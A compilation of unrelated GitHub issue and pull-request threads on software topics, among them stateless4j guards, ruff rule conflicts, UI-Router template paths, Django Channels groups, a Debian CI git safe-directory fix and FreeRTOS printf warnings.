So I decided to implement and propose my solution (for Java only): https://github.com/eugene-zolotko/stateless4j/commit/cb83637d92c15c6ab3ef4f666b4ec048e402b471.
I've added overloaded permitIf() and ignoreId() that take triggers with parameters and accept parametrized guards. The only problematic place in this solution is StateMachine.getPermittedTriggers() - there is no way to precisely list permitted triggers without evaluating their concrete params. Plus I haven't extended unit tests yet to cover the solution.
@oxo42 , Could you please take a look at this solution? Do you have some ideas how to properly change the getPermittedTriggers() behavior? What's your overall opinion? Is there any chances to get this solution pulled into your repository (of course after I'll extend unit tests)?

.NET stateless didn't implement this feature and I it looks for me like the architecture is not ready to do it without significant compatibility breakage.
If I had to need to evaluate a guard using the argument value, I'd make this value part of the state somehow.


[Event Request] table 81 "Gen. Journal Line" OnRenumberDocumentNoOnBeforeShowDialog

Could we please get the following event to suppress the Dialog?
procedure RenumberDocumentNo()
var
    GenJnlLine2: Record "Gen. Journal Line";
    DocNo: Code[20];
    FirstDocNo: Code[20];
    FirstTempDocNo: Code[20];
    LastTempDocNo: Code[20];
    HideDialog: Boolean;//NEW
begin
    HideDialog := false;
    //+NEW
    OnRenumberDocumentNoOnBeforeShowDialog(Rec, HideDialog);
    if not HideDialog then
    //-NEW
        if GuiAllowed() and not DIALOG.Confirm(StrSubstNo(RenumberDocNoQst, ProductName.Short()), true) then
            exit;
    TestField("Check Printed", false);

...

end;

[IntegrationEvent(false, false)]
local procedure OnRenumberDocumentNoOnBeforeShowDialog(var GenJournalLine: Record "Gen. Journal Line"; var HideDialog: Boolean)
begin
end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.


Snippets : Ability to launch from contextual menu

Feature description
Ability to launch a snippet from the contextual menu

Available inside WebSSH 24.0 : https://testflight.apple.com/join/QSrBK59z


Affix sidebar width changes

This is a suggestion for an improvement I've thought about. I also looked up if it was duplicated, but couldn't find anything.
A known limitation of the affix plugin is the width of the element gets lost when the affix kicks in, as we can see in this example:
http://jsfiddle.net/brunoalla/kmrjmgLm/
From a quick google search, the fix is easy, it's up to the developer to add the width explicitly in the CSS.
However, in the case where the .affix is wrapped in a grid column .col-xs-*, .col-sm-*, .col-md-* or .col-lg-*, it should be feasible to set the correct width within bootstrap's CSS, by including definitions along the lines of:
.col-sm-3>.affix {
    width: <col-sm-3-width>;
}

As illustrated in this modified fiddle: http://jsfiddle.net/brunoalla/cuzy6r7L/
I know it's documented that affix plugin provides the minimum CSS, and I'm not sure where this definition would stand between the grid framework mixins and the affix plugin, but I feel like this bit could be shipped with bootstrap.
Thanks

Hi @browniebroke!
You appear to have posted a live example (http://fiddle.jshell.net/brunoalla/cuzy6r7L/show/light/), which is always a good first step. However, according to Bootlint, your example has some Bootstrap usage errors, which might potentially be causing your issue:

line 19, column 7: W013: Bootstrap version might be outdated. Latest version is at least 3.3.1 ; saw what appears to be usage of Bootstrap 3.2.0

You'll need to fix these errors and post a revised example before we can proceed further.
Thanks!
(Please note that this is a fully automated comment.)

Hi @browniebroke!
You appear to have posted a live example (http://fiddle.jshell.net/brunoalla/kmrjmgLm/show/light/), which is always a good first step. However, according to Bootlint, your example has some Bootstrap usage errors, which might potentially be causing your issue:

line 19, column 7: W013: Bootstrap version might be outdated. Latest version is at least 3.3.1 ; saw what appears to be usage of Bootstrap 3.2.0

You'll need to fix these errors and post a revised example before we can proceed further.
Thanks!
(Please note that this is a fully automated comment.)

I think I understood while refreshing the fiddle why it's not implemented: the width is in percent, not px. And for an affixed element, it's in percent from the whole page... Sorry :(

@browniebroke So, can we close this?


Remove lunixbochs/actualvim

This repo has not been updated since 2018-10-23 14:46:04 UTC.
Can @lunixbochs confirm whether this repo is still intended for use?

ActualVim still works fine for me on the latest neovim/sublime text, and I don't know of any alternatives.


templateUrl relative to webserver root and not  set on app

I've set  and my state Url matching is working fine with relative paths defined in my states. The only thing that doesn't work are templateUrls, which are being loaded relative to the web server root and ignoring /dev/myapp base path set in index.html.
The result is the same with or without html5mode.

I'm seeing the exact same issue. I've never had this problem with ngRoute...
I've resorted to doing something like this:
http://nozzle.io/devblog/relative-angularjs-modules/
I realize that there might not be resources to fix this, but can a maintainer/commiter confirm this is undesirable? I'm tempted to submit a pull request.

+1

I can see why you might expect this behavior, but the chain of delegation is $state -> $view -> $templateFactory -> $http -> XHR, and XHR does not respect the <base /> tag, so this is really about two different things (since, as far as UI-Router is concerned, the <base /> tag is primarily about your app's URLs).
Shortly, we will be switching to $templateRequest (which is also what ngRoute uses) so if you still have trouble after that, we can see about kicking it up to Angular core, but it should work after that, or at least, be consistent with ngRoute.

https://gist.github.com/eddiemonge/f6a58169c2846731a1eb

+1
I'm now sure whether we're talking about the same issue, but I fell in something like it and I fixed using this (in typescript):
export class UrlHelper {

    static rootPath = () => "/CR";
    static pathViews = () => UrlHelper.rootPath() + "/App/views/";

    static mapPath(url: string): string {
        return url.replace('~', UrlHelper.rootPath);
    }

    static setRoute(url: string): string {
        return UrlHelper.pathViews()
            .concat(url)
            .concat(".html");
    }
}


fix: remove util

revert https://github.com/Open-Attestation/oa-verify/pull/166
shifted to https://github.com/Open-Attestation/open-attestation/pull/159

:tada: This PR is included in version 7.3.3 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


How to run on my own dataset

Hi, that's an excellent work! But I wonder if it can run on my own dataset. I saw parser.add_argument('--dataset_name', type=str, default='blender', choices=['n3dv_dynamic','deepview_dynamic',]) in stream_train.py. I wonder if it's strict restriction for your work. I tried to delete such argument but found that YourOwnDataset didn't fit my dataset.
By the way, my own dataset is immersive dataset.

At the current time, we only support the DyNeRF dataset. It may take me some time to clean the code for other datasets.
Also, since the rendering speed of NeRFPlayer is slow, I encourage you to extend our pipeline to current SOTA 4D representation such as 4D Gaussian Splatting, which may also support the immersive dataset.

Thank you for your timely reply. I am looking forward to the code that fits other datasets.


Scheduled messages sent by server

I need to create a webpage that shows the status of some application on server side.
For doing this I want clients to connect to server via websockets and the server pushing messages every n seconds on that websockets. This can be easily done using celery scheduled tasks. In particular I have a code similar to this
@periodic_task(run_every=timedelta(seconds=5))
def send_status():
    Channel("status").send()

where the channel is associated with a consumer that collects the information from the system and sends them to the Group
def ws_status(message):
    # collecting info...
    Group("status").send(collected_info)

This works pretty good. My problem is that collecting the status can be a little bit demanding and I don't want that piece of code being executed when no client is actually receiving those information. (It will happen often since it is a webpage built for being used by few users).
At the moment I solved this by setting a boolean variable and putting a check on it onto the ws_status consumer: if False information are not collected, if True they are collected, sent to the group and the variable is set to False. Then, at the client side, I have a script that sends an acknowledgement on receiving a new status, and a corresponding consumer on the server that set again the variable to True on receiving acknowledgment.
But I don't think this is a good solution, at the moment it works but maybe there are some caveats that I have not yet found.

From my point of view is this issue similar to https://github.com/andrewgodwin/channels/issues/74

Yes, it is surely related to that issue but not equal.
Here the problem is not how to run scheduled jobs but how to interrupt scheduled jobs if no one is listening. Both using celery or cron the problem remains, there are situations in which it is useful to have a way of knowing if the Group is empty

Yes i solving this using cache, i save all users and count to the cache because for me is not critical to have this persistent, you could easily handle ws connect and save all information which you needs, but maybe would be good to have native way for doing this
@andrewgodwin what you thinking about storing this information in channel backend ?

I would say this is actually #174 in that case (have a way to see if a group is empty or not), which I am still not totally okay making the channel backend deliver as a status, because it tightens the contract a little more.
Is there a reason you don't just want to leave it sending into the void? A Group.send() with no listening channels is basically free.

I write simple code for handling group related data which now uses cache but is backend independent
from .base import BaseManager

users = BaseManager('mygroup', 'users')

# on connect
users.add_item(user)

# on disconnect
users.delete_item(user.id)

users.get(user.id)
users.count()
users.all()

class AdminsManager(BaseManager):

    scope = 'admins'

admins = AdminsManager('mygroup')

admins.add_item(user_admin)

admins.all()

as you mention its extra calls on client connect
code lives here https://github.com/leonardo-modules/leonardo-channels/blob/feature/ws_frontend/leonardo_channels/managers/base.py

Feature requested for this was done.


Warnings about incompatible rules with --select ALL

I'd rather not see warnings about incompatible rules with --select ALL. Do the folowing warnings about incompatible rules appear by default on purpose with --select ALL?

"""Documentation."""

$ ruff --isolated --select ALL file.py
warning: `one-blank-line-before-class` (D203) and `no-blank-line-before-class` (D211) are incompatible. Ignoring `one-blank-line-before-class`.
warning: `multi-line-summary-first-line` (D212) and `multi-line-summary-second-line` (D213) are incompatible. Ignoring `multi-line-summary-second-line`.
$

$ ruff --version
ruff 0.1.3

If you don't want the warnings, I'd recommend explicitly ignoring two of those rules (whichever you do not want). In general, we do not recommend usage of --ALL.

Yeah, these are intended, because the rules are legitimately in conflict. Ideally, we will resolve this when do recategorize the rules in the future. At present, the only other option I see is to straight-up omit those two specific rules (D203 and D213) from ALL, which could also cause confusion in the other direction (though would be much more rare).

(We could also consider removing those rules.)

It makes sense. However, newcomers who start with ruff check --help see:
$ ruff check -h
Run Ruff on the given files or directories (default)
[...]
Rule selection:
      --select <RULE_CODE>
          Comma-separated list of rule codes to enable (or ALL, to enable all rules)
      --ignore <RULE_CODE>
          Comma-separated list of rule codes to disable
[...]

They might be tempted to use option --select ALL. The result is that they see these warnings, which do make sense but might be disturbing for first time users.

It could make sense to remove ALL from the CLI help. It isn't our recommended way of using ruff and is overused.

@MichaReiser I think that may make sense after recategorization

@MichaReiser I see the presence of sensible categories as essential to replace ALL. Until then, we'll just get more questions if we remove the hint.

I don't think we should remove it from help, etc., until we have a reasonable alternative.

I do think we could consider removing these rules from ALL.

I don't have a strong preference on removal from ALL but find excluding rules from ALL a weird pattern.
I'd rather close in favor of https://github.com/astral-sh/ruff/issues/1774

It's weird, but so is the behavior here, and I do dislike that it's so common to run into these warnings when the rules themselves are so uncommon.

We have over a million lines of code and currently use ALL  and disable about 40 rules (0.1.5 without preview). Without the ALL would we need to explicitly enable all 700 something rules? Enable all the categories, then specify individual ones we want disabled? That seems like it would get awkward? Or maybe I'm just selecting them wrong as it is?
I think many of the formatters and linters (maybe to a lesser extent) are going to be somewhat opinionated. I'm ok with that provided there is a reasonable amount of flexibility to alter the behavior to suit my projects. Maybe in addition to ALL add a DEFAULT which is a curated selection and chooses or disables rules with conflicts. Or possibly something like a --select-conflict-defaults which allows to specify which rules are enabled in case of conflicts.

We have over a million lines of code and currently use ALL and disable about 40 rules (0.1.5 without preview). Without the ALL would we need to explicitly enable all 700 something rules? Enable all the categories, then specify individual ones we want disabled? That seems like it would get awkward? Or maybe I'm just selecting them wrong as it is?

You would have to enable all categories that aren't enabled by default, which should only be a few (<10). The categories we're thinking about are similar to clippy's but with a few additional ones (e.g. format for formatting related lints)

Without enabling ALL, these still come in conflict if you enable the D category. I'd rather fully opposite rules like these be configurable instead. (combine the codes and use a config option to decide on the behaviour).
That would also make more sense in the context of shared configs https://github.com/astral-sh/ruff/issues/12352


Live Stream docs

URL:
URL
(https://www.vidstack.io/docs/player/components/display/live-indicator)
Describe:
Documentation gives a number of examples of indicators showing if there is a live steam or not on the player.
Test site I made to try it out (pasted below)was using all examples with the final one being the Tailwind version in documents.
Outcome was Live video source showed up when I turned it on, sent it out to server and back , but often only after 1 or 2 page refreshes did it appear often with a freeze frame initially replacing the Poster.
Player shows up fine including the "LIVE" text underneath in grey
but controls never showed up.
So do  I have it wrong or something is missing?
Do understand this is still Beta so this might not yet be implemented yet, or more likely I have it wrong.
Documentation states
This component will contain no content, sizing, or role when the current stream is not live.
However when there was a live stream present I am assuming it should now show a play bar and Live in red as per page example.

So am I not importing something or do you need to add more CSS for this to work?
Test Page used is below
Imported the following
import 'vidstack/styles/base.css';
import 'vidstack/define/media-player.js';
plus just in case
import 'vidstack/define/media-live-indicator.js';

<media-player
  src="https://TESTSTREAM.LKdd8d33N9Z6.m3u8"
  poster="{livelogo}"
  aspect-ratio="16/9"
  stream-type="live"
  data-live
  controls
  >
  <media-outlet />

      <media-live-indicator class="flex h-12 w-12 items-center justify-center text-white">

          live

      </media-live-indicator>

  </media-player >

I read over this a few times and I don't understand the issue 😅 It'd be nice if you could state it again with a clear description, maybe in the form "I'm expecting X, but I'm receiving Y."

Hi Mihar Sorry I will try again.
The test page (above) I was trying to stream a live stream to the player (m3u8) and make the Live light up as per documentation.
The player worked fine with the live stream. but the "live" indicator did not react.
I was assuming it should go red when a live stream was present.
Given this was beta still I was not sure if I had implemented it correctly and required more, or just that the controls for "live" are not present yet to trigger the change.

The live indicator will be red when playback is at the live edge (https://www.vidstack.io/docs/player/api/live#live-edge). If you can provide a HLS manifest or stream for me to look at then I can maybe provide better feedback.
Do note, if the stream loads too slowly it will fall off the live edge which will require clicking "LIVE" to seek back to the edge.
You can also try the following:

First, try increasing the tolerance to a number that works for you (i.e., what's a tolerance you're okay with). Default is 10, try bumping it up in 5s increments (15, 20, 25, ...).

Configure HLS  liveSyncDurationCount. Increasing the value may provide enough buffer to stay live. See the configure section in our docs for how to set it.


Debugging the KeyboardExtension

I have recently started using KeyboardKit for building a custom keyboard and I want to extend its functionality. I'm trying to debug the extension by attaching it to the app process, but it keeps failing when I launch the keyboard from the app with the following error message:
[u 720A8BDE-ED6B-4A57-AF9C-AAC56C816A24:m ] [()] RB query for the extension process state failed with error: Error Domain=RBSServiceErrorDomain Code=1 UserInfo={RBSEntitlement=com.apple.runningboard.process-state, NSLocalizedFailureReason=, RBSPermanent=0}
I've installed the app on my iPhone 14 iOS 17.3 with xcode 15.2 and xcode 15.2 beta (both produce the error).
The app is implemented as  a simple content view
import SwiftUI

struct ContentView: View {
    @State private var textInput: String = ""
    var body: some View {
        TextField("Enter some text",
            text: $textInput)
    }
}

Hi @bensapirstein
I haven't seen this myself, but I'm not yet on 17.3. I had some problems in 17.1, which went away after upgrading to 17.2.
Do you see runtime crashes as well?

I took your advice and downgraded my iPhone to 17.2.1 and debugging works for me! It is a bit of a hassle, I'm not used to xcode environment, but it's enough for me to progress with my project. many thanks.
I'm using xcode 15.1 and running the app on iPhone 13 iOS 17.2.1.

I took your advice and downgraded my iPhone to 17.2.1 and debugging works for me! It is a bit of a hassle, I'm not used to xcode environment, but it's enough for me to progress with my project. many thanks :)
I'm using xcode 15.1 and running the app on iPhone 13 iOS 17.2.1.

Happy to hear it! Debugging is a pain, but hopefully 17.2.1 lets you proceed 👍


FAIRDOM Community page: engagement improvements

I have improved the text in the 'FAIRDOM user meetings' and 'Engagement with other communities' sections. I expanded on how FAIRDOM is linked. If I may have comments here first please, then I will check what I've written about previous hackathons is correct with the relevant people.  Many thanks.

I've added an explicit example of FAIRDOM supporting the systems biology community of ELIXIR, taken from a presentation shared at one of their community meetings and citing two publications that are already listed on the FAIRDOM website.


Adding Topology in Condensed Matter MOOC as example

Absolutely! Those notebooks are beautiful!

Cool!

@basnijholt Anything else you want to add? I'm happy to merge right away.

For me it's good. Maybe @akhmerov has an opinion?

Nothing extra, all LGTM

Great! Merging.


Fix Debian GitHub build: Explicitly mark Git repo as safe

Workaround for Debian Docker image bug that is breaking Debian build on GitHub.
Context: In latest Debian Docker image , there is a regression that affects the checkout action.
From https://github.com/actions/checkout/issues/1169:

Checkout runs, and runs /usr/bin/git config --global --add safe.directory
The global .gitconfig does not exist
Any calls to git remain unsafe/dubious

The suggested workaround was to use --system instead of --global.
Test Plan: See if GitHub Action Debian build is fixed.

It fixed the issue above, but the Debian build now fails on the cmake/zstd issue. zstd was released 3 weeks ago and then there was a year before that, so we might not see the fix (on dev branch) merged into release any time soon. We could do what is done by this repo, i.e., cherrypicking the commit:
git fetch origin dev
git cherry-pick 8420502e

Decided to pin zstd to the commit that has the cmake fix. Pinning it might be a good idea anyway for stability.

Debian uses gcc-8.3 and thus now fails on the issue fixed by #201.

Updated as suggested. Thanks! Also, I got a successful build on my fork after I cherrypicked #201: https://github.com/wonglkd/CacheLib-1/actions/runs/4298872004/jobs/7493484190

Somehow I cannot import and merge this. @wonglkd Just in case, could you rebase?

@jaesoo-fb rebased!


Avoid compiler warnings about the printf formats in IPv6 modules

Description
As an option, the code in FreeRTOS+TCP can produce logging.
In three modules, my GNU compiler gives many warnings about the printf format used:
FreeRTOS_DHCPv6.c
FreeRTOS_IPv6_Utils.c
FreeRTOS_RA.c
For example in FreeRTOS_IPv6_Utils.c :
FreeRTOS_debug_printf( ( "%lu + %lu is larger than %lu\n",
                         uxIndex,
                         uxHopSize,
                         uxBufferLength ) );

gives 3 warnings of this type:
warning: format '%lu' expects argument of type 'long unsigned int',
but argument 3 has type 'size_t {aka unsigned int}' [-Wformat=]

In other modules, we solved this problem casting to either int or unsigned and using %u:
FreeRTOS_debug_printf( ( "%u + %u is larger than %u\n",
                         ( unsigned ) uxIndex,
                         ( unsigned ) uxHopSize,
                         ( unsigned ) uxBufferLength ) );

The logging is the same, and the warnings have gone, independent of the platform.
Earlier I wrote about my multi-platform testing of various printf formats.
Test Steps

Checklist:

[x] I have tested my changes. No regression in existing tests.
[ ] I have modified and/or added unit-tests to cover the code changes in this Pull Request.

Related Issue

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/bot run uncrustify


Planning for PBL

Tasks

[ ] login page with Javascript
[ ] kahoot quiz backend for teacher input
[ ] leaderboard
[ ] homepage of games to choose from
[ ] Blackjack Game
[ ] Dice Game
[ ] Score Analysis
[ ] Plinko Balls

Arthur : Scrum Master

[ ]

Hanlun :

[ ]

Saraas :

[ ]

Alisha :

[ ]


Introduce IWYU

Why include what you use?
See Why include what you use?
How ?

[x] Introduce Ubuntu 22.04 to supported OS list
[x] Use clang-14 on Ubuntu 22.04 to run IWYU, fix issues, add CI and make sure CI passed
[ ] Use Pegasus special fix_includes.py
[ ] Add mapping rules (see: https://github.com/include-what-you-use/include-what-you-use/blob/master/docs/IWYUMappings.md)
[ ] Try to use C++ standard headers instead of C standard headers (e.g. stdint.h -> cstdint)
[ ] Separate C standard, C++ standard and thirdparty headers
[ ] Speed up the workflow

The issue is open and welcome community developers to continue the works.